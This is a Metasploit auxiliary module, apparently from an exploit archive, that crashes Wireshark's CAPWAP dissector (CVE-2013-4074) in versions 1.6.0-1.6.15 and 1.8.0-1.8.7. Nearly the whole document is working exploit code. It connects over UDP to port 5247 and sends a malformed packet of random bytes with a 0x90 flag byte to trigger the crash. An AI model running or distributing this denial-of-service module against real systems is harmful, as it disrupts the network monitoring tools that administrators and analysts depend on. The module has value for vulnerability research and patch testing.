Wireshark CAPWAP Dissector - Denial of Service (msf)

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#

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Auxiliary

 

  include Msf::Exploit::Remote::Udp

  include Msf::Auxiliary::Dos

 

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Wireshark CAPWAP Dissector DoS',

      'Description'    => %q{

        This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0

        to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an

        incomplete packet.

      },

      'License'        => MSF_LICENSE,

      'Author'         =>

        [

          'Laurent Butti', # Discovery vulnerability

          'j0sm1'  # Auxiliary msf module

        ],

      'References'     =>

        [

          ['CVE', '2013-4074'],

          ['OSVDB', '94091'],

          ['BID', '60500']

        ],

      'DisclosureDate' => 'Apr 28 2014'))

 

    # Protocol capwap needs port 5247 to trigger the dissector in wireshark

    register_options([ Opt::RPORT(5247) ], self.class)

  end

 

  def run

 

    connect_udp

 

    # We send a packet incomplete to crash dissector

    print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")

    # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then

    # the dissector crash

    # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt

    # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000

    buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)

    udp_sock.put(buf)

 

    disconnect_udp

 

  end

end